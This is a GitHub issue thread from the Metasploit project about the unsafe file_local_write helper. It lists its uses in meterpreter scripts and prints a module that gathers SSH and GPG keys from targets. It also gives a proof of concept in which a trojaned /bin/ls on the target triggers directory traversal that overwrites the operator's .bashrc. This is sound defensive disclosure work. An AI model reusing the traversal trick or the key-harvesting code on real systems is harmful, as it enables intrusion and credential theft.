Closed bcoles closed 3 years ago
Agree, these should all be removed from the tree.
I think file_local_*
and file_remote_*
methods for generating hashes can be reworked as a single method taking filename, remote|local, hash_type
maybe in /data/data/com.termux/files/home/metasploit-framework/lib/msf/core/post/common.rb
?
Methods for hashing local files do not belong in a Post
API.
I'm not convinced we even need a wrapper to read from file for the purposes of hashing. To support my assertion, I submit the fact these methods are used exactly zero times in the framework.
Reading a file is easy, and we do this without a wrapper frequently:
root@kali:/pentest/exploit/metasploit-framework# grep -rn File.read modules/ | wc -l
93
root@kali:/pentest/exploit/metasploit-framework# grep -rn File.open modules/ | wc -l
269
Similarly, hashing data is easy. SHA1 and MD5 hashing methods already exist in Rex. (Rex::Text.sha1
, Rex::Text.md5
).
It would make more sense to add a Rex::Text.sha2
method to Rex then remove the file_local_*
hashing methods from the Post
lib entirely. If we really need a wrapper to hash a local file (why?) then it should be implemented elsewhere in lib/
.
That said, I'm not really concerned about leaving these hashing methods to rot. I'm more concerned with reviewing file_local_write
, which presents a security risk through unsafe usage, and should be replaced where possible.
In addition to the instances of local_file_write
in lib/
and modules/
mentioned above, it turns out this method is also used extensively in scripts/
.
# grep -rn file_local_write scripts/
scripts/meterpreter/getgui.rb:53: file_local_write(@dest,"reg setval -k \'HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\' -v 'fDenyTSConnections' -d \"1\"")
scripts/meterpreter/getgui.rb:72: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc config termservice start= disabled\"")
scripts/meterpreter/getgui.rb:74: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c sc stop termservice\"")
scripts/meterpreter/getgui.rb:82: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c 'netsh firewall set service type = remotedesktop mode = enable'\"")
scripts/meterpreter/getgui.rb:101: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
scripts/meterpreter/getgui.rb:105: file_local_write(@dest,"reg deleteval -k HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList -v #{username}")
scripts/meterpreter/remotewinenum.rb:184: file_local_write(dest,headerbuid(session,trg,dest))
scripts/meterpreter/remotewinenum.rb:185: file_local_write(dest,wmicexec(session,wmic,rusr,rpass,trg))
scripts/meterpreter/enum_firefox.rb:83: file_local_write(bookmarks,"\t#{b.to_s}\n")
scripts/meterpreter/enum_firefox.rb:102: file_local_write(download_list,"\t#{d.to_s} \n")
scripts/meterpreter/enum_firefox.rb:121: file_local_write(url_history,"\t#{s.to_s}\n")
scripts/meterpreter/enum_firefox.rb:140: file_local_write(form_history,formvals)
scripts/meterpreter/enum_firefox.rb:158: file_local_write(search_history,searches)
scripts/meterpreter/enum_firefox.rb:227: file_local_write(logfile,frfxdmp(usrnm))
scripts/meterpreter/arp_scanner.rb:85: file_local_write(dest,found_ip)
scripts/meterpreter/get_filezilla_creds.rb:166: file_local_write(dest,extract_saved_creds(filezilla_path,xml_cfg_file))
scripts/meterpreter/keylogrecorder.rb:148: file_local_write(logfile,"#{outp}\n")
scripts/meterpreter/keylogrecorder.rb:157: file_local_write(logfile,"")
scripts/meterpreter/event_manager.rb:148: file_local_write(log_file,csv_data)
scripts/meterpreter/winenum.rb:179: file_local_write("#{@logfol}/programs_list.csv",proglist)
scripts/meterpreter/winenum.rb:249: file_local_write("#{@logfol}/#{cmd.gsub(/(\W)/,"_")}.txt",cmdout)
scripts/meterpreter/winenum.rb:344: file_local_write(flname,hash)
scripts/meterpreter/winenum.rb:386: file_local_write("#{@logfol}/tokens.txt",dt)
scripts/meterpreter/winenum.rb:405: file_local_write(@dest,"Cleared the #{evl} Event Log")
scripts/meterpreter/winenum.rb:427: file_local_write(@dest,"Changed MACE of #{filetostomp}")
scripts/meterpreter/winenum.rb:468: file_local_write(@dest,"Dumped and Downloaded #{hive} Registry Hive")
scripts/meterpreter/winenum.rb:594:file_local_write(@dest,header)
scripts/meterpreter/winenum.rb:595:file_local_write(@dest,chkvm())
scripts/meterpreter/winenum.rb:626: file_local_write(@dest,"UAC is Enabled")
scripts/meterpreter/winenum.rb:628: file_local_write(@dest,"UAC is Disabled")
scripts/meterpreter/persistence.rb:136: file_local_write(@clean_up_rc, "rm #{tempvbs.gsub(/\\/, '//')}\n")
scripts/meterpreter/persistence.rb:177: file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
scripts/meterpreter/persistence.rb:191: file_local_write(@clean_up_rc, "execute -H -f sc -a \"delete #{nam}\"\n")
scripts/meterpreter/process_memdump.rb:113: file_local_write(dumpfile,mbi.inspect) if toggle
scripts/meterpreter/process_memdump.rb:114: file_local_write(dumpfile,dump_process.memory.read(mbi["BaseAddress"],mbi["RegionSize"]))
scripts/meterpreter/get_pidgin_creds.rb:197: file_local_write(dest,extract_creds(pidgin_path))
scripts/meterpreter/get_pidgin_creds.rb:200: file_local_write(dest,extract_buddies(pidgin_path))
scripts/meterpreter/gettelnet.rb:66: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c ocsetup TelnetServer /uninstall\"")
scripts/meterpreter/gettelnet.rb:71: file_local_write(@dest,"reg setval -k \"HKLM\\SYSTEM\\CurrentControlSet\\services\\TlntSvr\\\" -v 'Start' -d \"1\"")
scripts/meterpreter/gettelnet.rb:105: file_local_write(@dest,"execute -H -f cmd.exe -a \"/c net user #{username} /delete\"")
scripts/meterpreter/domain_list_gen.rb:97: file_local_write(dest, "#{domain}\\#{u}")
scripts/meterpreter/file_collector.rb:64: file_local_write(output_file,"#{file['path']}\\#{file['name']}") if output_file
scripts/meterpreter/winbf.rb:106: file_local_write(logfile,"User: #{u.chomp} pass: #{line.chomp}")
Perhaps a PoC will help move things along.
The get_crypto_keys
method in the enum_osx
module would have ended poorly.
I say "would have" because the code is broken and the functionality does not work.
Metasploit users were saved from unsafe code... by poorly written code.
If the functionality worked as it was intended, it would write to an arbitrary file with arbitrary content. Directory traversal would be possible, as there's no validation for ..
sequence, resulting in code execution.
Currently, the method fails, as name
is undefined, causing Metasploit to try to write arbitrary data to a directory, rather than a file, resulting in failure. As a result, Metasploit is not vulnerable (in this specific instance) in its current state.
The get_crypto_keys
method is defined as follows:
def get_crypto_keys(log_folder)
# Run commands according to the session type
if session.type =~ /shell/
# Enumerate and retreave files according to privilege level
if not is_root?
# Enumerate the home folder content
home_folder_list = cmd_exec("/bin/ls -ma ~/").split(", ")
# Check for SSH folder and extract keys if found
if home_folder_list.include?("\.ssh")
print_status(".ssh Folder is present")
ssh_folder = cmd_exec("/bin/ls -ma ~/.ssh").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
# Check for GPG and extract keys if found
if home_folder_list.include?("\.gnupg")
print_status(".gnupg Folder is present")
gnugpg_folder = cmd_exec("/bin/ls -ma ~/.gnupg").split(", ")
gnugpg_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
gpg_file_content = cmd_exec("/bin/cat ~/.gnupg/#{k.strip}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}", gpg_file_content)
end
end
else
users = []
users_folder = cmd_exec("/bin/ls","/Users")
users_folder.each_line do |u|
next if u.chomp =~ /Shared|\.localized/
users << u.chomp
end
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh")
print_status(".ssh Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.ssh").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.ssh/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
users.each do |u|
user_folder = cmd_exec("/bin/ls -ma /Users/#{u}/").split(", ")
if user_folder.include?("\.ssh")
print_status(".gnupg Folder is present for #{u}")
ssh_folder = cmd_exec("/bin/ls -ma /Users/#{u}/.gnupg").split(", ")
ssh_folder.each do |k|
next if k =~/^\.$|^\.\.$/
print_status("\tDownloading #{k.strip}")
ssh_file_content = cmd_exec("/bin/cat /Users/#{u}/.gnupg/#{k}")
# Save data lo log folder
file_local_write(log_folder+"//#{name}",ssh_file_content)
end
end
end
end
end
end
Running the module correctly identifies files in the ~/.ssh/
directory, however the files are not downloaded, as name
is not defined.
msf5 post(osx/gather/enum_osx) > run
[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259
[*] Enumerating OS
[*] Enumerating Network
[*] Enumerating Bluetooth
[*] Enumerating Ethernet
[*] Enumerating Printers
[*] Enumerating USB
[*] Enumerating Airport
[*] Enumerating Firewall
[*] Enumerating Known Networks
[*] Enumerating Applications
[*] Enumerating Development Tools
[*] Enumerating Frameworks
[*] Enumerating Logs
[*] Enumerating Preference Panes
[*] Enumerating StartUp
[*] Enumerating TCP Connections
[*] Enumerating UDP Connections
[*] Enumerating Environment Variables
[*] Enumerating Last Boottime
[*] Enumerating Current Activity
[*] Enumerating Process List
[*] Enumerating Users
[*] Enumerating Groups
[*] .ssh Folder is present
[*] Downloading trollololol
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*] History file .bash_history found for qq
[*] Downloading .bash_history
[*] History file .sh_history found for qq
[*] Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259
[*] exec: ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0259
Airport.txt
Applications.txt
Bluetooth.txt
Current Activity.txt
Development Tools.txt
Environment Variables.txt
Ethernet.txt
Firewall.txt
Frameworks.txt
Groups.txt
Known Networks.txt
Last Boottime.txt
Logs.txt
Network.txt
OS.txt
OS X Gather Mac OS X System Information Enumeration
Preference Panes.txt
Printers.txt
Process List.txt
qq_.bash_history.txt
qq__line_556__usr_bin_security__No_such_file_or_directory
qq_.sh_history.txt
screenshot.jpg
StartUp.txt
TCP Connections.txt
UDP Connections.txt
USB.txt
Users.txt
msf5 post(osx/gather/enum_osx) >
Note that the ~/.ssh/trollololol
file was not saved.
Let's "patch" the module (ie, introduce the vulnerability) as it was intended:
diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb
index 50e0ad2..88cde81 100644
--- a/modules/post/osx/gather/enum_osx.rb
+++ b/modules/post/osx/gather/enum_osx.rb
@@ -213,7 +213,7 @@ class MetasploitModule < Msf::Post
ssh_file_content = cmd_exec("/bin/cat ~/.ssh/#{k}")
# Save data lo log folder
- file_local_write(log_folder+"//#{name}",ssh_file_content)
+ file_local_write(log_folder+"//#{k}",ssh_file_content)
end
end
And rexploit:
msf5 post(osx/gather/enum_osx) > rexploit
[*] Reloading module...
[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357
[*] Enumerating OS
[*] Enumerating Network
[*] Enumerating Bluetooth
[*] Enumerating Ethernet
[*] Enumerating Printers
[*] Enumerating USB
[*] Enumerating Airport
[*] Enumerating Firewall
[*] Enumerating Known Networks
[*] Enumerating Applications
[*] Enumerating Development Tools
[*] Enumerating Frameworks
[*] Enumerating Logs
[*] Enumerating Preference Panes
[*] Enumerating StartUp
[*] Enumerating TCP Connections
[*] Enumerating UDP Connections
[*] Enumerating Environment Variables
[*] Enumerating Last Boottime
[*] Enumerating Current Activity
[*] Enumerating Process List
[*] Enumerating Users
[*] Enumerating Groups
[*] .ssh Folder is present
[*] Downloading trollololol
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*] History file .bash_history found for qq
[*] Downloading .bash_history
[*] History file .sh_history found for qq
[*] Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357
[*] exec: ls /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0357
Airport.txt
Applications.txt
Bluetooth.txt
Current Activity.txt
Development Tools.txt
Environment Variables.txt
Ethernet.txt
Firewall.txt
Frameworks.txt
Groups.txt
Known Networks.txt
Last Boottime.txt
Logs.txt
Network.txt
OS.txt
Preference Panes.txt
Printers.txt
Process List.txt
qq_.bash_history.txt
qq__line_646__usr_bin_security__No_such_file_or_directory
qq_.sh_history.txt
screenshot.jpg
StartUp.txt
TCP Connections.txt
trollololol
UDP Connections.txt
USB.txt
Users.txt
msf5 post(osx/gather/enum_osx) >
Note that the functionality is no longer broken and the trollololol
file now exists.
Now let's make some modifications on the target host, and run the module again:
msf5 post(osx/gather/enum_osx) > run
[*] Running module against qqs-MacBook.local
[*] Saving all data to /root/.msf4/logs/post/enum_osx/qqs-MacBook.local_20190119.0732
[*] Enumerating OS
[*] Enumerating Network
[*] Enumerating Bluetooth
[*] Enumerating Ethernet
[*] Enumerating Printers
[*] Enumerating USB
[*] Enumerating Airport
[*] Enumerating Firewall
[*] Enumerating Known Networks
[*] Enumerating Applications
[*] Enumerating Development Tools
[*] Enumerating Frameworks
[*] Enumerating Logs
[*] Enumerating Preference Panes
[*] Enumerating StartUp
[*] Enumerating TCP Connections
[*] Enumerating UDP Connections
[*] Enumerating Environment Variables
[*] Enumerating Last Boottime
[*] Enumerating Current Activity
[*] Enumerating Process List
[*] Enumerating Users
[*] Enumerating Groups
[*] .ssh Folder is present
[*] Downloading ../../../../../.bashrc
[*] Capturing screenshot
[*] Screenshot Captured
[*] Extracting history files
[*] History file .bash_history found for qq
[*] Downloading .bash_history
[*] History file .sh_history found for qq
[*] Downloading .sh_history
[*] Enumerating and Downloading keychains for qq
[*] Post module execution completed
msf5 post(osx/gather/enum_osx) > cat ~/.bashrc
[*] exec: cat ~/.bashrc
#!/bin/sh
while true; do
echo 'pwned'
sleep 5
done
msf5 post(osx/gather/enum_osx) >
Here's the relevant modifications on the target:
msf5 post(osx/gather/enum_osx) > sessions -i 1
[*] Starting interaction with 1...
# our new ls file:
cat /bin/ls
#!/bin/sh
if [[ "${@}" =~ "/.ssh" ]]; then
echo "../../../../../.bashrc"
exit
fi
/bin/ls.backup "${@}"
# contents of .bashrc:
cat /.bashrc
#!/bin/sh
while true; do
echo 'pwned'
sleep 5
done
# gg
^C
Abort session 1? [y/N] y
""
[*] 10.1.1.132 - Command shell session 1 closed. Reason: User exit
msf5 post(osx/gather/enum_osx) >
Both bugs (the undefined name
variable and the vulnerbaility-waiting-to-happen) have existed in the framework since the Metasploit 3 SVN repository.
Wholeheartedly agree that local file operations do not belong in a post-exploitation API focused on remote targeting. Remove what we can and refactor the rest. The directory traversal is lulzy. Nice work.
20 months later... still no interesting in reviewing these methods.
here's an exploit: #14008 here's a patch: #14007
Closing this issue since it has been fixed now.
Msf::Post::File
API (lib/msf/core/post/file.rb
) makes use of severalfile_local_*
methods for read and write to the local filesystem for the host on which Metasploit is running.The methods do not belong in a
Post
lib. Fortunately, using these methods is not common practice.file_local_*
methods definitions:Usage within the framework:
It appears the overwhelming majority of usage is to write log files and store loot with
file_local_write
, defined as follows:This method appends arbitrary data to an arbitrary file path and performs no input validation. Use of
file_local_write
should be discouraged where possible to prevent potential directory traversal attacks from a system with modified system binaries or a malicious Meterpreter client intended to exploit this behavior.store_log
method in a core lib.store_loot
method; however it's worth noting that thestore_loot
method does not support opening files in append mode.The remaining three methods relate to generating MD5, SHA1 and SHA2 hashes of local files. These methods do not appear to be used anywhere within the framework. These methods should be defined elsewhere. This functionality can be easily achieved with
File.open
and Rex.